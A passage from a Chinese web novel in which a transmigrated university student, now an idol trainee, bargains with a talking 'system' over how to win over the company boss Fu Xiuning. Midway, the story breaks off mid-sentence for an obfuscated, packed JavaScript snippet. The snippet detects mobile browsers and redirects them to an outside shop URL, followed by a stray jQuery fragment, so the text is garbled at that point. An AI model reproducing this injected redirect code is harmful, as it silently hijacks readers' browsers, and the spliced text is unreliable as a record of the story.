系统恍惚地看了看时间。
有些宿主从来到走都是-5,它的宿主刚来两个小时,和符修宁都没说几句话,就从-5一路干到了-15。
第一次见面就搞成这样,好感值以后真能升回来吗?
星时完全不知道自己刷新了纪录。
他在一片死寂下说道:“老师,我唱完了。”
练习生们被迫来了场灵魂的洗礼,维持呆滞的表情惯性鼓掌,掌声稀稀疏疏,重归死寂。
声乐老师定了定神:“这歌叫什么名字?”
星时道:“我也忘了,这是首山歌,当地的人都会唱,据说是他们的精神图腾。”
众人:“……”
嗯,我们信。
图腾什么的放一边,这歌绝对和精神方面的东西挂点勾,兴许是人家老祖宗杀敌用的。
声乐老师道:“有原版吗?”
星时道:“我就是按原版唱的,没改编。”
声乐老师沉默,不太想回忆他的唱功和曲子。一旁的舞蹈老师问:“以前有学过舞蹈吗?”
星时道:“没有。”
两位老师便示意他可以下去了。
星时回到之前的位置,系统也收拾好了情绪。
没事的,它心想,分完班就要训练,宿主不会的都能学。
但它转念一想这是头驴,不一定肯认真学,惩罚程序对他不管用,新手摇奖是个“谢谢惠顾”,它还能怎么办?
它试探地向主系统申请再摇一次奖,得到拒绝后陷入自闭。
星时没等到它发疯,问道:“被我唱掉线了?”
系统丧丧道:“在线。”
星时品着这语气:“我有点好奇,你们是智能产品还是其他什么东西?”
系统来了精神:“我告诉完你,你也回答我一个问题,咱俩都得说实话。”
星时很痛快:“行。”
系统道:“我们是高维智能,半机械半生物,运算强大能独立思考,拥有一定的感情。”
星时懂了,这意思是能拆也能杀。
系统道:“该我了,攻略符修宁有多条路线选择,爱情线友情线,你对他尽忠给他当狗,他被你驯服给你当狗,你俩互为父子等等都可以,你会选哪条路?说好的,要认真回答。”
星时假装没听出它把“他会配合攻略符修宁”默认成了事实,也不去较真。
因为所有宿主的攻略目标一致,那符修宁就是个关键点,他是必然要接触符修宁的,不需要系统花心思劝他。
他坦诚道:“这取决于他的态度,他如果态度好,那就友情线。”
他要拆系统,符修宁若肯合作,他们就能当个战友,一起弄死这些东西。
系统回忆符修宁的战绩,问道:“他如果态度不好呢?”
星时想也不想道:“那我就是他爹。”
他要是单枪匹马干掉了这些东西,符修宁高低得喊他一声爹。
系统:“?”
虽说互为父子也行,但你也是真敢想,根本不知道符修宁干废过多少宿主吧!
不过宿主好不容易肯谈正事,它当然不会泼冷水,高兴地找到了接下来的工作方向:“好,咱们先试友情线。”
符修宁面不改色地从头听到尾,把6号的表演看完,起身离场。
他今天会过来,就是觉得系统该进货了,想看看练习生里会不会出现新宿主,如今见到了人,他也就不多待了。
练习生们神色各异,暗搓搓看了看星时。
老板考核前一直站在他身边,在他考完只看了一个人就走了,很难说他俩之间没什么。
冯子繁则知道星时和符修宁才刚认识,因此更加懊悔,心想自己如果没有中途离开,说不定也能和符修宁处好关系。
16个人依次考完,星时毫不意外地拿了倒数第一。
另外两间练习室的考核也先后结束,三组成绩放在一起,他稳坐倒一。
不过老师们都很看好他。
练习生要经过严格的训练才能出道,一开始基础差点没关系,以后都能学。
他们今天就是把有基础和没基础的简单分一下,方便教学。而一个月后的考核包括了声乐、舞蹈、表演、形象和镜头测试等多方面的内容,是综合评分的。星时形象出色,只要努力训练,早晚会升到一班。
接下来是分宿舍。
宿舍是两人间,上床下桌,有独立卫浴,整体空间比学生宿舍大一点,空出的部分放了冰箱、两组到顶衣柜和舞镜,开辟出一个小型的训练区,此外公寓还设有公共的洗衣房、健身房和休闲区。
宿舍是随机分的,但允许他们自己协商调换,向公司做个报备就行。
练习生们经过初试、复试和分班,有些已经认识了,都想和熟悉的人住一起。
星时为了训练方便要在这边留个床位,他无所谓和谁住,不过也是巧,他舍友交换过来的人也是个“内定”,和他一样举目无亲,两个人便凑一屋,不再换了。
冯子繁和大壮来看了一眼,见状没提换宿舍的事,呼朋唤友地要去吃饭。
星时余光扫见有人要搭他的肩,肌肉一绷,立即侧身。对方的胳膊一下落空,还没反应过来就听见他问吃什么,注意力快速转移。
傍晚时分,天色已暗。
高楼鳞次栉比,灯火辉煌,街道人群熙攘,车水马龙。
公寓不远处就是商场,星时跟着他们往前走,听着车辆的鸣笛和店铺的音乐,闻着若有若无的食物香,恍然置身于巨大而和平的梦境中。
他停在了卖烤红薯的摊位前。
系统提醒:“这东西饱腹感挺强的,你们一会儿还要吃火锅。”
星时掏出手机:“我支付密码是多少?”
系统不劝了,告诉了他。
星时买了一个烤红薯,掰开吹几下,吃了一口。
滚烫的香甜冲击着味蕾,无比真实,他看着眼前繁华热闹的夜景,抬脚跟上了队伍。
公司给了他们三天的时间安置。
除了已签约的“内定”和对复试有信心的人带全了行李,其余都得回趟家或让家里把东西寄过来。大部分人目前都住酒店,饭后便各回各处,也是这个时候,冯子繁他们才知道星时是名牌大学的学生,一群学渣的眼中浮出了明显的敬佩和羡慕。
星时笑着和他们道别,回到了学校。
Z大本科生宿舍是四人间,也是上床下桌的布局。
星时通过系统认全了三位舍友,找到了自己的床位。
他从书架上抽了本专业书,随意翻两页放回去换一本,这次在扉页上看见了原身的签名,笔锋犀利,铁画银钩,和他签的差不多。
相同的名字和长相,相似的字迹,是巧合的概率有多大?
他究竟是穿到了一个新世界,还是……回来了?
自从穿进魔法世界,他以前的记忆就在模糊,最终只剩一些常识的东西,让他清楚他来自现代社会。如今又一次穿越,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450123|141561||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
依然想不起来。
他喊道:“统。”
系统道:“嗯?”
星时道:“知道我是从哪来的吗?”
系统道:“不知道,这是宿主的隐私。”
星时道:“那你知道我为什么会穿越吗?”
“也不清楚,我只负责监督宿主做任务……”系统说着想起一件事,“你应该是失忆了吧?”
它解释:“灵魂是能量体,传输过程会有微量消耗,副作用就是不同程度的失忆,穿越来的宿主基本都这样,有些能慢慢想起来,有些不能。”
“但不用担心,”它卖力推销,“我们商店里有记忆丸,能让你追溯出生至今的所有记忆,只要获得足够的好感值就能用积分换。”
星时平静地“嗯”一声,把书放了回去。
三天一过,练习生开始训练。
除了专业技能,他们还要学习语言、艺术等文化知识,课程排得密密麻麻。
这批练习生包括星时在内只有三个人要兼顾学业,两周过去,其中一个被折磨得已经在考虑休学的事了。
系统原本担心宿主会撂挑子,结果竟没见他抱怨过。
不仅如此,他偶尔还会翘一两节不太重要的课去公司训练,十分感人。
唯一不好的是,他们没再和符修宁接触过。
符修宁不住校,只有上课和有事才来Z大,平时他们在公司也很少遇见,友情线毫无进展。
系统见宿主午饭后习惯性地找地方瘫着,说道:“前面就是宿舍了。”
星时闭眼不动:“吃多了,缓缓。”
系统道:“……所以为什么要吃这么多?”
星时不答,专心晒太阳。
系统知道再说什么都得不到回应,识趣闭嘴,几分钟后突然振奋:“符修宁正往这边走!”
星时假装没听见。
系统看着他这副死样子,实在忍不住了:“你到底怎么想的?前几次我报告符修宁的位置让你过去你也不去,说好的友情线呢?”
星时这次理它了:“符修宁如果是多聊几句就能攻略的人,你们只派一个宿主就行,何必找这么多人?”
系统道:“那你有什么计划?”
星时道:“首先,别吵我。”
系统:“……”
它憋屈地消音,察觉符修宁即将路过,干脆不看了,省得更气。
这半个多月,符修宁见过星时四次。
第一次是中午放学,他在车里远远地看见一个人向门口狂奔,等他开过去才发现是星时,对方笑容灿烂,跑那么快是为了拿外卖。
第二次是在公司食堂,星时的桌上是吃完的餐盘,此外还放了四盒甜品,已经吃了一盒,正享受地吃第二盒。练习生对身材有要求,甜品是限量的,能有这么多肯定是其他要减肥的人给的。
第三次是在Z大偏门,他有事从那边过,看见星时坐在人满为患的摊位上嗦粉,吃得头也不抬。
第四次是今天。
学校生活区有个小公园,他路过时就看见了坐在双人椅上的人。
星时的手插着棒球服的口袋,卫衣帽子戴在头上盖住眉眼,双腿微微岔开,懒散地瘫着。
旁边的空位有只流浪猫,眯眼揣着前爪陪他一起瘫,阳光从头顶洒下,整个画面温馨又惬意。
符修宁要往前迈的腿顿住了,内心的恶劣因子往外冒。
宿主怎么可以活得比他舒坦?
他朝星时走了过去。